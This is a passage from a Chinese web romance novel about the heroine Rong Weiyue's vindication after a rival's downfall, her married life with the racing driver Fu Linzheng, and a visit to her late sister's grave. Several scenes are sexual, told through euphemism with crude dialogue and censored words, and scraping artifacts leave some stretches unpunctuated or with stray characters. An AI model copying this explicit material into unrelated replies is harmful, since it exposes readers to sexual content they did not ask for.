眼前灯光晃眼柯尹梦脚下一虚哭着的柯母拉不住她她整个人踉跄的跌倒在地。
为什么……
她从小幻想到大的美梦好不容易即将成真却在此刻彻底化为了泡影……
业内的荣誉高贵的身份美好的爱情母亲的骄傲她什么都没有了……
柯尹梦宛若被推下深渊所有的话化作血一般在喉间蔓延她垂下头发出凄厉撕裂的哭声在后台久久不息回荡。
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晚上独奏会结束后柯尹梦所做的丑事就迅速被业内媒体曝到了网络上引起轩然大波。
明恒这边和媒体早就打好了招呼
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,和容微月有关的信息全部模糊化处理,只把柯尹梦推向风口浪尖。
傅蔺征的手段向来是很狠的。
消息一出,一大波柯尹梦的琴迷脱粉痛骂,观众怒喊退票,因为是她个人的原因导致整场独奏会筹备全部落空,主办方对柯尹梦追究责任并索赔,很快柯尹梦的经纪公司也宣布和她解除合约,因为她失德,还要赔付一大笔违约金。
第二天音乐家协会发布惩戒公告,三年内禁止柯尹梦以独奏身份登台,几个剧场和代言品牌都和她解约,她原定于明年在各地的演出纷纷被取消,甚至国内外许多音乐厅把她列入“不受邀名单,终生不予登台。
许多粉丝们说眼瞎了才会喜欢她,柯尹梦成为过街老鼠,一夜之间失去所有,还背上几百万的债务。
曾经她害别人的,如今加倍报应到她身上。
而明恒集团这边,由董事长傅司盛亲自下达命令,对当年隐瞒此事不报并随意撤销冠军的明恒文化副总予以内部通报批评并撤职,相关工作人员全部追究责任。明恒文化相关领导登门给容微月致歉,给予补偿。
赛事组委会经过重新调查,宣布当年容微月的成绩成绩完全合法合规,正式将冠军荣誉归还给她。
迟到了六年的公正,终于迎来。
练琴机构里的蔡宁和同学们都很震惊,嫉妒容微月的这下彻底哑口无言,许多人也心疼容微月的遭遇:
【当年我也听信了颁奖典礼上说的,一直觉得容微月是靠着傅蔺征走后门夺冠的,原来她是被冤枉的……】
【当年我爸妈让我离容微月远点,我直接把她微信删除了,现在想想好愧疚,对不起她。】
【心疼微月当时被骂那么惨,换我都想**了。】
【我就说微月不是这样的人,当年决赛她的表演我手机里还有视频,我大学老师都说她真的很有实力,当之无愧的第一。】
【对啊,她和傅蔺征就是正常谈恋爱,人家现在都结婚了好吗?】
【抱抱微月,希望她从当**走出来,迎接更好的人生。】
当年骂她的人有些私下来和她道歉,蔡宁老师和朋友们也安慰她,就连那个黑裙女和短发女也迅速倒戈来认错,说之前是被柯尹梦蒙蔽了。
傅蔺征告诉容微月:“我的律师团队以你的名义起诉了柯尹梦和柯旺山。
证据确凿,不出意外两人会因为侵犯他人名誉权和荣誉权,将向容微月公开道歉并赔偿损失。
容微月和傅蔺征商量了下,决定不要赔偿了,这样的惩罚已经足够让柯尹梦身败名裂,他们不缺那点钱,用了也觉得脏,而且容微月想到柯母那么难,到底也于心不忍。
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小时候柯母对她挺好的经常给她做好吃的也很疼她她不是为了柯尹梦而是为了柯母。
另一头柯旺山回到老家他的事情也传开了很多人对他和柯尹梦指指点点店里生意也逐渐惨淡而柯尹梦和邰朝分手在业内被**名誉扫地和母亲搬离了北京回到柯母的老家生活一辈子碌碌无为。
至于林翰他把当年的十万元交给了容微月真心认错因为他确实是被逼最后也提供了录音容微月和傅蔺征没再追究把这钱捐给了公益。
至此六年前的事终于尘埃落定画上句号。
晚上傅蔺征和容微月聊着愧疚言:
“如果我能再早点知道当初的事你就能早一天从当年的阴影走出来我就不会让我的小月亮一个人漂流了好几年。”
容微月鼻尖泛酸抱住他声音绵软含笑:“没关系呀现在也不晚你陪在我身边大家也知道了真相就像你在卢塞恩接受的采访说的一样‘我什么都没输’。”
对于他们来说所有的不好都过去了。
如今未来只有繁花盛开阳光明媚。
傅蔺征带小姑娘去外省出游两天调节心情两人黏在一起把所有的事都抛之脑后。
如今到十二月下旬傅蔺征说等圣诞节的时候再带她去个地方。
回到京市俩人甜蜜的婚后生活回到正轨。
周末早晨容微月睡了个懒觉十点多傅蔺征开完会进来卧室时她还在赖床。
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呼呼不知何时进来就乖乖蹲在她脑袋下方的床边给妈妈当手机支架任由她着一边刷视频一边揉着脑袋。
“宝贝你怎么那么可爱呀我最爱你了……”
白绒团子摇着尾巴歪歪脑袋蹭蹭她的手惹得她眉眼弯成月牙。
傅蔺征轻嗤。
他不在他俩就这么甜蜜?
容微月正玩着手机就感觉到被子被掀开凉意还未袭来一个如铁的身躯直接覆了上来单纯无辜的小猫咪被猎网完全笼罩男人嗓音低懒:
“太阳都晒屁股了还不打算起床?”
男人肌肉鼓绷的单臂撑在侧方将她牢牢锁住草莓睡裙褶皱他胸膛贴着她纤薄的后背另一只横亘圈住她。
容微月眼睫扑闪转头看到傅蔺征懵然娇声道:“才醒想赖一会儿床你怎么进来了也没声音……”
草莓卷散发着甜香实在太过美味傅蔺征温热的气息捕捉她耳垂浑坏勾
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唇:“有吗?我还没进来啊宝宝。”
容微月愣了下,反应过来他在说什么,面颊染上草莓色:“傅蔺征,你能不能别一大早晨就那么流氓……”
她手上还刷着手机,此刻被迫停下,一米六出头的她此刻被逼近一米九、身躯如巍然山脉般宽阔的人罩
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着,血脉贲张的体型差让人乱了心跳。
傅蔺征气息逼下,掌心沉下草莓河:
“儿子就可爱,我就流氓?”
舒芙蕾塌软,容微月脸颊如桃,呼吸乱成鼓点,咬唇压下嘤声,心底不禁震惊于自己对傅蔺征竟然这么快……
她软声嗔他:“那本来就是事实呀,你自己看看你现在在干什么……”
傅蔺征气息沉沉,“当然是你啊。”
容微月愣了下,说这个人坏**,傅蔺征吻着她蝴蝶骨,眼底赤深,声线发哑:“宝宝,好想要你,给杆么?”
他向来想要什么就说,高中时候想抱她亲她就是这样,在无人的巷子口,把她锁在怀中,厮磨低蛊,直至她防线溃堤。
就傅蔺征这样的身高外形和痞坏性格摆在这里,但凡他主动,能有多少个女人不上钩?还好他心里只守着小姑娘,但凡恣意浪荡点,有过的女人肯定也不在少数。
容微月鼻尖冒出汗珠,在他怀中如进了桑拿房,闻言耳根如蝴蝶酥,男人哑声逼问,指尖挑着小白线:“给不给,宝宝?”
她根本不是他的对手,脸颊埋进他硬朗的臂弯,娇声嗫嚅:“给,你想要什么想要多久,都给……”
操,她真是知道怎么能逼疯他。
傅蔺征和她五指紧扣,把她如瀑的黑发撩开,吻着她后颈,容微月小声道:“但是呼呼还在呢,你把呼呼抱出去。”
在狗狗面前,她还是很不好意思……
傅蔺征看向地板上的小电灯泡,冷拽开口:“傅呼呼,出去,你爸妈要做事了。”
呼呼闻言,蹦上了床,静**着看着他们。
傅蔺征:“……”
傅蔺征脸黑看着这个孽子,唇间吐出几字,贿赂道:“一个羊奶酪粒。”
而后白绒团子在床上悠然地翻来滚去。
傅蔺征:“……”
他气笑,“再加一个冻干三文鱼块,行了?”
呼呼闻言扭着尾巴,在即将被抓走的那一刻,蹦跶下去,走出了房间。
容微月不禁笑,“呼呼怎么那么聪明啊,它是不是真的能听懂人话?”
傅蔺征轻嗤,“老子当初就不该把它往智力超群培养,应该把它养得笨呼呼的,整天就知道和苍蝇玩和吃垃圾。”
容微月弯眉,“你也太坏了,就是个坏爸爸。”
他直勾勾盯着她,“再说一遍,谁坏?”
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她咬着被子,“你坏,哪有**白天也来的,最讨厌了……
傅蔺征扯唇,咬她耳垂,“嘴再硬点,看老子怎么收拾你。
小白lei丝被傅蔺征的婚戒挑边了点,他黑眸沉沉,宽大掌心掐住她,哑声道:“宝宝,你非要穿这么sao,你说你是不是大白天都欠*?
婚后小姑娘被哄着买了整整一个衣柜的qqny,各种款式,因为基本都要被撕,一次性的,除此之外如果不出门她在家里也会穿“丁,傅蔺征每次看到都要炸,对他来说格外方便。
她咬着唇,杏眸涟漪,声音如小猫爪挠他:“你不喜欢吗……
敌人已经高举旌旗攻到城门口。
“你说呢?
傅蔺征起身,去打开抽屉,容微月想转过来,傅蔺征很快回来,哑声命令:
“别动,?八好。
今早傅蔺征在厨房做了一道巧克力棒布丁甜品,有两个圆鼓鼓的椰奶布丁,软软的,先给淋了层亮亮的的糖汁,加热的大巧克力棒敲了下布丁,布丁就duangduang的晃。
巧克力棒敲着,两个椰奶布丁同样的反作用回弹,惹得小猫哭,而后巧克力放入两个布丁中间,一同送入蒸箱。
女人鼻尖冒出汗珠,这场甜品教学太难了,她娇声道:“傅蔺征……
“怎么了?他哑声问,啄她脸。
她吸鼻子瘪嘴,“好……好突兀……
男人浑坏勾唇,“最近吃这么多,怎么每次都突兀啊?
那还不是都怪他……
傅蔺征同样也不太好,她真的太宝贝了,几个小时前才有但跟不存在似的,他和她十指紧扣,低哄:“宝宝,你嘴巴太小了,一大口全吞了一开始当然有点突兀,再等等就好了。
蒸箱里的布丁塌下。
而后傅蔺征完全听着她的指挥。
十二月的白昼,太阳升得并不高,光线却依旧清透,落地窗外阳光斜斜地照进,光束墙面在跳跃。
楼下的树枝光秃,枝桠在阳光下投下细碎的影子,仿佛一幅深色剪影。
乐章在卧室再度谱起。
是小猫叫和猛兽吼。
时针滴滴答答,像泪珠滚落在她脸颊,傅蔺征把小橙子翻过来抱进怀中,黑眸如泼了墨的男人慵懒靠着,双腿屈起,“宝宝,躺上来。
窗外,蝴蝶纷飞,大雁在天空画了个大字,小猫咪往后靠在他为她架起的腿桥上,被他双手掐住。
进入了个游乐场,她乘坐起激流勇进。
船到了最高处直接俯冲下来,失重感扑面而来,水哗啦四溅,她直接被抓着玩了几百次。
半晌小姑娘趴在他胸膛掉眼泪,说不玩了头晕
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傅蔺征锢住她脸颊捕捉气息反客为主。
半晌他手机响起她抽了一丝理智催他接傅蔺征吻着她:“不管。”
容微月看到手机面颊酡红:“是家政阿姨……她们肯定到门口了。”
今天这个点是固定要做大扫除的。
傅蔺征眉眼沉沉吐一口气接起几个家政阿姨果然在门口傅蔺征哑声报了密码门锁的密码:“你们进来先在客厅和厨房打扫。”
“好的。”
很快外头传来了开门声和阿姨们的声音容微月眼圈红红压低声音:“阿姨们来了会被听到……”
傅蔺征坏透了任何事都不能影响这兴致何况即将阈值气音喑哑:“宝宝他们扫他们的我们做我们的又不影响。”
他翻身把她压在怀中。
窗外午后的阳光明媚透过阳台漾了进来房间里泛起一层浅淡金色的光晕空气因为日光而显得明净仿佛连寒意都被镀上一层柔和。
分针又转了四分之一海底地震引发火山熔岩喷发完毕小姑娘被牢牢圈在怀中被男人的吻夺走全部的思绪。
小鱼被捞起电击了。
小鱼干抹了好多芝士。
几分钟后傅蔺征低头拨开她脸颊的碎发似笑非笑:“宝宝还没缓过来?”
她坐的地方开始凉凉的羞得抽咽不好意思:“怦了好哆都*透了。”
男人勾唇“没事你哪次不这样?”
她埋进他怀中回想起刚才都想钻进地缝里“阿姨们肯定能听到了都怪你……”
傅蔺征把她抱起来混不吝道:“听到就听到了
去浴室清洗了番出来后他抱她去换了新睡裙温存着傅蔺征简单收拾了下把她抱起来“饿不饿宝宝?抱你去吃饭?”
“好……”
她没力气了……
傅蔺征抱她出去家政阿姨看到俩人知道他们感情好笑笑:“傅先生好傅太太好。”
傅蔺征淡淡应了声“主卧里地毯上的那个床单拿去清洗。”
家政阿姨当然也听到了动静心底都感慨小年轻不愧是小年轻但面不改色应道:“好的先生。”
走去厨房容微月脸红傅蔺征见此笑着揉揉她耳朵:“怎么?现在知道害羞了勾引我的时候就不害羞了?”
她不想搭理他说要喝水“好饿了我们中午吃什么?你光顾着自己不管我的胃了?”
傅蔺征轻嗤“容微月你有没有点良心?老子今早七点多起来锻炼完了呼呼的早饭也喂了出门买了菜也把你想吃的生煎和桃胶羹也买回来了开完会还进去伺候
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第 54 章 “你愿意和我白头到老么?”...
第54章第五十四章
【“你愿意和我白头到老么?”】
chapter54
语音会议里,员工们正专注听着汇报,谁能想到大Boss这边听筒传来女人甜糯的声音,还有那句娇滴滴的“老公你不是说好哄我睡觉的吗”的撒娇,一时间全炸开了锅,八卦之心熊熊燃烧。
老公,宝宝……
傅蔺征竟然英年早婚了?!!
私底下的员工群们已经炸开了:【我去,小傅总什么时候接结的婚??刚才是我幻听了吗?】
【没幻听,我也听到了,那女孩子声音好甜好可爱啊!】
【傅总平时看过去好拽好冷,我话都不敢和他多说一句,但是刚刚他竟然叫她‘宝宝’!也太苏太宠溺了吧!】
【想看女孩子的照片!为什么捂得这么严实!】
【不是之前好几个豪门千金来找小傅总,董事长也催促着,小傅总都没搭理吗,转头竟然结婚了?!是哪家的千金啊!】
而此刻的书房里,没想到傅蔺征正在开会,小姑娘瞪大眼睛,一瞬间从耳根红到了脖子根。
救命呜呜呜好羞耻QAQ!
她刚刚都黏黏糊糊说了啥啊……
一瞬间人也不困了,酒也不醉了,小猫咪羞地瞪向傅蔺征,羞鼓鼓不敢说话,用眼神在喵喵喵乱骂。
傅蔺征笑了。
他老婆怎么这么可爱啊,全世界的人加上傅呼呼都没有她可爱。
他无声勾唇,而后淡定如常对会议里的人开口:“稍等三分钟。”
他点了静音,含笑看向怀中的小姑娘:“宝宝,现在可以说话了。”
容微月哭唧唧,在他脖颈咬了口,“都怪你,你开会怎么也不提醒我一声!”
她留下个牙印,跟个小印戳似的,一点都不疼,傅蔺征眼底笑意更深:
“宝贝,你刚刚一进来就扑到我怀里撒娇,一句接着一句,你给我说话的机会了么?”
“……”
这一幕像极了之前她和父母打电话,傅蔺征开门二话不说扑上来口出狂言的画面。
但今天轮到她丢人了……
容微月私下胆子很大,那种时候配合着他什么话都说得出口,又媚又娇,可在外人面前,她脸皮薄得很,她想把自己埋起来了:“那怎么办……”
傅蔺征笑哄她:“什么怎么办?我们结婚了,你是我的傅太太,又不是我的小情人。”
如今已经领证了一段时间,向来低调不了的傅大少爷早就想把已婚的消息公之于众,就算照顾她的事业不着急公开她的名字,但结婚的事总不需要藏着掖着。
他就想她在他身边宣誓**。
恨不
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得在他身上再留下点吻痕牙印什么,让外人一眼就能看得出他有人了。
容微月闻言脸颊泛红:“那我先回房了……
她要起身,就被他牢牢圏住,傅蔺征:“逃什么?不是说冷得睡不着?我抱着你睡。
“你开会呢……
“不影响,抱着你我精神更好。
他抱着她起身,先去拿了个毛毯,坐回来让她侧坐在他怀中,连着毯子温柔圈住她,打开话筒,低磁开口:“不好意思,刚刚我太太来找我。
大家震惊真的是太太,外国分公司副总忍不住含笑用英文打趣:“傅总,没想到您结婚了,您和夫人感情真好。
傅蔺征看着怀中的小姑娘,唇角勾起:“She’sabitclingy.(她比较黏人。)
容微月闻言耳根红透。
明明是他黏她好不好……
员工们都被这恩爱秀得心里土拨鼠疯狂尖叫,也正因为容微月的出现,原本紧张的会议氛围轻松许多。
小姑娘走不了,只好找到一个舒适的角度,如猫咪般蜷缩在他怀中入睡。
傅蔺征身躯宽阔,怀抱坚实发烫,将娇小的她完全包裹住,像大火炉似的给她带来暖意。
头顶时不时落下几句英文,男人低醇流利的英式口音因着她在添了几分低柔,宛若催眠曲让人心安。
她在他怀中真的睡着了。
半小时后,她迷迷糊糊听到傅蔺征低沉道:“Alright,thisconcludestoday’smeeting.(那就这样,今天的会议到此结束。)
傅蔺征点击屏幕,她揉了揉眼,抬眼看他:“开完会啦……
傅蔺征摘下耳机,摸摸她头,“嗯,小猫睡着了?
她脑袋在他颈窝蹭蹭,弯眉点头:“第一次听你开会,我也听不懂那些专业知识,跟催眠曲似的,很快就睡着了。
傅蔺征笑,其实刚刚聊的那些都是商业机密,但小姑娘听到也无所谓,容微月调侃他:“感觉你开会的时候还挺严肃的,和平时完全不同。
傅蔺征挑眉:“你以为我在工作中一整天都嬉皮笑脸的?上上下下几百上千的员工,不严肃就不能立威,服不了众。
傅蔺征私底下的性格是很开朗随意的,从小就朋友多,但是工作中他更多是严肃理性的态度,处理事情一锤定音、果断利落,大家对他佩服又敬畏。γúè擱
容微月也觉得工作中的他格外有魅力,酒窝塌陷:“还好我很少见到你这面,不然我都要害怕地叫你老板了。
傅蔺征揉揉她的后颈,懒声落在她耳侧:“我在你面前怎么会和在别人面前一
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样?很多面他们当然看不到。”
她心间荡漾。
他脆弱的一面只给她温柔宠溺的一面也只给她还有最坏最浑最疯的一面也只有她看到……
傅蔺征拿起桌面的水喂她看她脸颊红红的调侃她这个小酒鬼:“刚刚又喝酒了?”
她瘪嘴:“就喝了一点点……脑袋有点微醺飘飘然的所以就进来找你了……”
“没事
“比如呢。”
傅蔺征吊儿郎当道:“比如扑上来扒我衣服、脱我裤子直接坐上来啊不过我们结婚后你身份名正言顺再怎么流氓我都是不会反抗的。”
“??”
她气笑羞窘嗔他她看是他想这样吧……
傅蔺征指腹抹掉小姑娘红唇的水珠俯脸亲她容微月感觉到不对劲羞赧:“傅蔺征你怎么回事……”
“我怎么了?”
“我刚刚在你怀中睡觉你还难得老实点”她咬他喉结“现在又、又硌我……”
平时她都不敢轻易坐在他怀中要不就是一口吃下去要不就是在外张牙舞爪逗她烤肠店老板时不时在门口招揽客人想让她吃撑危险系数太高。
傅蔺征闻言哑声道:“宝宝这不受我控制你辟股一压它就弹起来了。”
傅蔺征都不知道小姑娘是怎么长的明明很瘦但身材好到**。
该有的地方都比普通人更有萸儿圆盈坐在他怀中的那儿也格外翘圆所以他也很喜欢从后面每次小猫晃尾巴他都能发疯把它zhuang到通红跟被戒尺打了似的。
这人坏**……
傅蔺征伸手关掉书桌台灯把毛毯扔到沙发上单手把她抱起来往外走。
她腿夹住他心生狡黠娇滴滴道:“傅总……”
这一声甜媚到骨里傅蔺征眼底猛地一沉小猫却仍旧不怕的样子“傅总刚刚还那么严肃开会怎么开完会就来欺负我了?别人知道你这么败类吗?”
傅蔺征忍不住爆了句粗口走进卧室反锁上门就把她丢在柔软中她要逃走脚踝就被他青脉暴起的手臂一把扯住倾覆而来把她牢牢困住。
她眼波涟漪“傅总……”
他坚硬像一堵墙热得像四十度鼓绷的肌肉快要撑开浴袍攻击性飙升黑眸灼灼:
“喜欢玩这个?”
容微月害羞傅蔺征掌心如鱼重重寻索她红唇话也浑得彻底:“宝宝就喜欢勾引我是么他们知道我败类但知道你在我面前这么sao么?”
傅蔺征锢住她下巴大口吞掉她的呼吸“刚刚老子就应该边开会边*你中
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午还哭着说吃不下,这才过了几个小时,你是真不怕被我做坏了?”
“唔……”
傅蔺征气息沉沉,侧首吻她天鹅颈。
刚刚在书房就该重重cheng罚她,逼着她咬他,夹他,打他,抱着他压着哭声撒娇求他。
高中刚开始追她的时候,他都不知道她竟然能这么调皮,他本来欲就比常人更重,对她的生理性喜欢就很恐怖,谁知道她更让人发疯。
容微月听着耳根通红,“傅蔺征,我错了……”
“认错有用?”
傅蔺征坐起身,把她面对面锁在怀中下摁,气息薄热寻来:“现在会不会硌?”
她要哭了,吸鼻子绵软唔哼:“比刚才还硌……”
裙摆和浴袍被地毯拥抱,她如抹了盈盈月光,拥吻他掌心的薄茧。
气息交换,傅蔺征观察着她一点点被他洇红的杏眸,循循善诱:“宝宝,微醺以后是什么感觉?”
容微月攀着他肩膀,软声嗫嚅:“就感觉好飘,好空,想要买可乐了呜呜呜……”
傅蔺征低笑,“这么诚实啊。”
诚实的孩子才有糖吃。
她眨巴着眼,为难道:“可是这两天吃好多,我怕我真的要坏掉了。”
他亲亲她鼻尖,哑声诱着:“没事,就来一次,嗯?你满足了就放你去睡。”
她心跳如鼓,可小人最后还是忍不住倒戈向他,“不许骗我哦……”
窗外大雪飞扬。
纷纷洒洒如银河坠入人间。
傅蔺征的吻落下,她脸颊烧红,就被拉入新的游戏。
-
雪到后半夜才停歇。
第二天,容微月醒来时,透过落地窗看到天空像是被洗净般澄澈,日光从薄薄的云中倾泻而下。
阳台上积雪未化,像是洒了一层细细的糖霜,椅子上不知何时被人堆了个小雪人。
圆圆的脑袋上的戴着个她的小熊帽子,鼻尖有根小胡萝卜,呆呆萌萌地望着她,仿佛在和她说早上好。
她弯起眉眼,伸了个懒腰。
过了会儿,卧室门被打开,傅蔺征走了进来,一身灰长袖黑裤,身型高挑颀长。
他对上她目光,“小懒猫睡醒了?”
男人身上被日光打亮,眉眼还带着少年般的慵懒帅气,如从前高中他坐在后排,上课轻拽她马尾辫时的模样。
曾经是傅同学,现在是她的傅先生。
时光荏苒,还好,他从未改变。
容微月眼眸洒进窗外灿烂日光,看向他红唇弯起:“老公,早上好……”
傅蔺征上来抱着她,揶揄:“都中午了还早上呢?”
“……那还不是因为你,我又睡懒觉了。”昨晚虽说他没食言,但格外绵长,
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她都震惊于他的持久。
她可怜控诉:“肚子饿得咕噜噜叫了。
他笑摸摸她头,“午餐买好了,是你爱吃的那家川菜,先抱你去刷牙洗脸?
她应下,圈住他脖子,身子腾空而起,问他:“你今天没训练?
“训练完都回来了。
她调侃:“你教练有没有说你最近身体虚了?
傅蔺征睨她:“谁跟你说我虚了?
“那你最近用在别的地方的精力那么多,能不累嘛?她含笑亲亲他脸颊。
的确有精,也有力。
傅蔺征挑眉,“最近训练量不大,没什么感觉,而且你平时给我少补了?
容微月还是挺注意这方面的,怕他身体受影响,平时都会买乌鸡党参那些滋补的东西和他一起喝,他俩最近身体倒还挺不错。
傅蔺征道:“最近安排的比赛不多,明年还要办婚礼,等以后要比赛了,肯定有时候需要禁yu。
她哦了声,“那我可太期待了。
男人气笑捏她脸,“你以为能逃得了?都欠着,让你后面加倍补。
走到浴室,傅蔺征给她挤牙膏装水,容微月刷牙完洗完脸,他圈住她长发,拿起一根细长的山茶花发簪:“宝宝,这个东西怎么用?教我下?
“你要帮我扎头发?
他吊眉,“伺候你这不是最基本的?以后说不定咱们生个女儿,我还要给她扎辫子。
她心间柔软发笑,不知道傅蔺征以后当爸爸是什么样的,但大概率是个女儿奴。
她教他步骤:“把头发拢到一边,手攥紧,然后拧起来,绕一个圈……
傅蔺征宽阔高大的身躯笼罩着她,听她指挥尝试着,动作青涩又轻柔,小姑娘弯眉:“你手要抓紧呀,我头发都散了。
男人微蹙眉,动作格外认真:“宝宝,不敢太用力,怕弄疼你。
谁能想到世界顶尖赛车手那双在赛场上掌控一切、狠戾帅气操控着方向盘的手,此刻却温柔地缠绕在她乌发间,笨拙又认真地为她别上发簪,温柔化开一身桀骜。
最后他终于把头发固定住,“这样可以么?
她含笑点点头,傅蔺征圈住她,看到镜子里她长发绾起,眸光亮亮,脸颊白皙如玉,像个草莓奶油糯米团子,被他养了一段时间脸上总算有点肉肉了。
他俯身忍不住亲她脸颊,唇角挑起:
“我的老婆怎么这么可爱啊。
真是全天下第一可爱。
容微月弯眉,护肤完走去厨房,傅蔺征已经把送来的餐摆好了,“去坐着,我给你拿气泡水。
“好。她坐在餐桌前揉了揉跑来的呼呼,看到桌上摆着她喜欢的麻辣水
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煮鱼,眼睛亮起。
傅蔺征回来,装了满满一碗饭放到她面前。
她诧异,“这么多……
“不是说饿得肚子叫了?男人挑眉,“昨天体力消耗大,今天多吃点。
她娇气,“那你帮我挑鱼刺哦,不然我不吃。
傅蔺征勾唇轻捏她脸,“还敢威胁我了?哪次吃鱼老子没伺候你了?
她笑着,“那我给你夹肉。
两人吃着饭,容微月点开手机,看到盛柳发来的信息,叫他们明天回家吃饭,说给他们做好吃的。
她回复了句,看到日期想到什么,转头问傅蔺征:“阿征,你下午有空吗?我想出门一趟,你陪我一起去吧?
“有空,去哪儿?
她轻声道:“快到我姐姐的忌日了,我想今天天气好,我们一起去扫扫墓。
傅蔺征沉默了瞬,愧疚握住她的手:“好,我们结婚这么久,我还没去看看她。
容微月笑笑:“没事,从前我姐姐说,她希望自己去世后,我去看她不拘是哪一天,只要风和日丽的时候开开心心地去,因为她最喜欢晴天。
到了下午,傅蔺征和容微月买了花去往墓园。
初雪过后,墓园银装素裹,松树树枝还挂着未化的白絮,阳光倾斜洒下,把大理石的墓碑镀上一层温润的金色,静谧而明净。
到容思晴的墓碑前,容微月把一捧白色风信子放上去,这是曾经容思晴最喜欢的花。
擦拭好墓碑,容微月看着上面的照片,莞尔:“姐,我来看你了。
她牵住傅蔺征的手,柔声言:“今天不是我一个人,还有傅蔺征陪着我,我们已经结婚了。
容微月眼眶微热:“姐,以前你不在了,我老是觉得在这个世界上特别孤单,特别是和阿征分手以后……但是现在你可以放心啦,他回来了,也有一个人像你曾经一样,那么爱我疼我了。
容微月泪眼朦胧,傅蔺征揽住她肩膀,黑眸落向墓碑,微微发热,低沉开口:
“姐,我是傅蔺征。我知道你走的时候最挂心月月了,你放心,她现在长大了,很优秀很勇敢,她能照顾好自己,而且有我在,这辈子我定会护她爱她,不让她再受半点欺负。
我会尽我所能,让她这一生都幸福快乐。
他会带着容思晴的那份爱,永远做小姑娘坚实的港湾,一直守护在她身边。
容微月靠在傅蔺征肩头,眼底落下泪来:“可惜姐姐不能看到我的婚礼,如果她还在,她一定特别满意你。
傅蔺征抬手温柔抹掉她的眼泪,柔声道:“没关系,姐姐在天上同样也能见证,只要你是开心的,她就满足了。
她笑眼
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弯起,坚定点头。
清风拂过,树影摇曳,末了容微月和傅蔺征牵着手走下台阶。
她和他讲起小时候和姐姐的往事,“我和我姐很像,我们都喜欢花丝镶嵌和小提琴,但我俩从来不比不争,我很崇拜她,我姐就一遍遍耐心教我,她老是说,希望我长大以后比她更优秀。
她笑笑:“如果姐姐还在,她现在肯定是个特别优秀的小提琴家或是花丝镶嵌的工艺大师,在我心中没人能比得上她。
傅蔺征揉揉她头,“那你们就可以一起做喜欢的工作了。
“对啊,所以我当初创立工作室时,就给工作室取名为‘晴月阁’。
傅蔺征反应过来,“‘晴’代表姐姐,‘月’是你?
容微月点头,“其实在我心里,这就是我们一起创立的工作室,虽然她不在了,但我会带着她的那份梦想和坚持,替她好好生活下去。
傅蔺征伸手温柔拂开她脸上的碎发,注视她:“月月很棒,你已经做到了。
容微月弯唇靠在他怀中,仰头看向盈澄的天际:“以后还要继续往前走,我们都要成为,越来越好的人呀。
为自己,也为在意的人。
他们要好好生活,勇敢相爱。
-
从陵园回来,周末结束,时间已经到达十二月底,傅蔺征接到消息,在隔壁的H市有训练和赛车方面的代言,圣诞节结束后才会回来。
晚上收拾行李,容微月看着他:“到那边好好吃饭,别太累了。
傅蔺征勾唇,“好。
“晚上早点睡,肌肉酸痛就用我的膏药,再用筋膜枪揉一揉。
他唇角弧度更深,“知道了宝宝。
“行,那就这样,我去画稿了。
??
她起身正要走,就被傅蔺征抓回来,嗓音低低:
“我明天就不在家了,你就说这几句?也不说想我啊?
他大喇喇敞着腿坐在沙发上,把人锁在怀中,容微月笑着摸摸他的头:“你才去一周,又不是一个月,有什么好想的。
傅蔺征轻嗤感慨:“果然,婚姻是爱情的坟墓,婚后把我吃干抹净完说变就变了,我之前出个差,谁晚上抱着我的被子偷偷抹眼泪说想我的?
“?
她绷不住笑,“我哪里有???
他吊儿郎当道:“在我梦里你是这样的。
“……
“在我梦里你多黏人啊,还哭着和我说,想和我做,一次不够,三次不够,五次不够……
“闭嘴!
她捂住他的嘴,没见过这么不要脸的,笑:“明明是你想,还赖到我头上。
傅蔺征眼底笑意晕开,凑过来想吻她
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:“反正我当真了。”
被他搂着吻了好一会儿她呼吸稀薄感受到他的冲动羞赧推开他抵过来的胸膛站起身:“傅蔺征你控制一下你自己没一天老实的我画画去。”
“……”
第二天清晨男人准备去机场容微月在睡梦中就感觉到大狗狗又粘人地缠上来:“宝宝我要走了。”
她迷迷糊糊阖着眸给他一声敷衍的“嗯”。
他黑眸炽灼俯身吻她脸颊声线低哑:“宝宝睁开眼看看我好不好。”
似乎她的眼神都能给他身上盖个戳让他感觉被标记了容微月没见过这么黏人的翻身背过去“不看我都困**……”
男人脸黑干脆把她翻过来霸道索吻在她天鹅颈和锁骨都留下绯印和这几天的深深浅浅叠在一起在雪肌上格外旖旎勾人他满意道:“等我回来就消掉了。”
讨厌死他了……
容微月脸红说会被人看到的傅蔺征嗓音低沉:“这是惩罚谁让你不听话?”
她气鼓鼓在他肩头留下个牙印“我也给你一个。”
傅蔺征勾唇低浑道:“乖宝宝好喜欢多咬几口。”
“……”
她一脚把这狗踹下了床。
傅蔺征出门早晨容微月醒来洗漱时照着镜子羞赧地在心底又把他骂了一遍。
还好是冬天围个围巾什么都看不到不然高低一个月不让他靠近了。
早晨傅蔺征给她发信息说已经上了飞机晚上回到酒店傅蔺征和她视频通话他托拖腔带调问:“想我没有?说实话。”
她一本正经道:“不想啊每天事情那么多哪有空想回到家还有呼呼陪着我一整张大床都是我的多自由才想不起来。”
傅蔺征脸黑轻嗤:“容微月你果然没心**脆过年再回家得了留你和你儿子甜甜蜜蜜。”
容微月弯眉“那你能忍得住就行。”
他气笑低浑嗓音仿佛能咬她耳朵说看他回去后怎么收拾她。
她笑笑通话结束后她点开购票软件买了二十五号傍晚去H市找他的车票。
其实她是故意表现得无所谓的因为她一早就打算好了去找他过圣诞给他一个惊喜。
几天后的下午容微月忙完工作室的事赶回家收拾好自己和呼呼东西给小家伙穿了件鹅黄色的小衣服
呼呼摇着尾巴黑眸亮晶晶的似乎也格外期待。
从京市到H市高铁两个小时她先给呼呼去办了托运而后上了高铁。
窗外夜色渐沉沿途的灯火点亮前方容微月
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看着窗外的霓虹,心头的思念翻涌成甜蜜的波澜。
晚上八点多,她抵到H市,本来还想像上次在瑞士那样偷偷找怀裕打听傅蔺征的下落,没想到刚出站,怀裕已经在高铁站出站口等她了。
嗯???
她震惊,怀裕笑着帮她接过行李:“嫂子,是征哥让我来接你的。
“他怎么知道我来了?
“你手机绑了他的卡,他收到了消费短信。
容微月欲哭无泪,都忘记了这件事。
她低头揉揉呼呼的脑袋,“怎么办,惊喜泡汤了。
怀裕笑:“嫂子,没泡汤,征哥提前知道,就提前开心了好几天,就盼着您来呢。
容微月闻言不禁笑。
上了门口的黑色劳斯莱斯幻影,怀裕说傅蔺征训练还没结束,先送她去吃饭,餐厅都安排好了。
餐厅是家精致的意式料理,也是明恒旗下投资的,包厢里她给呼呼喂了狗粮,而后看着桌面上精致的料理,胃口大开,还把其中的意大利面拍给傅蔺征,眼睛弯弯:【比你做的好吃哦。】
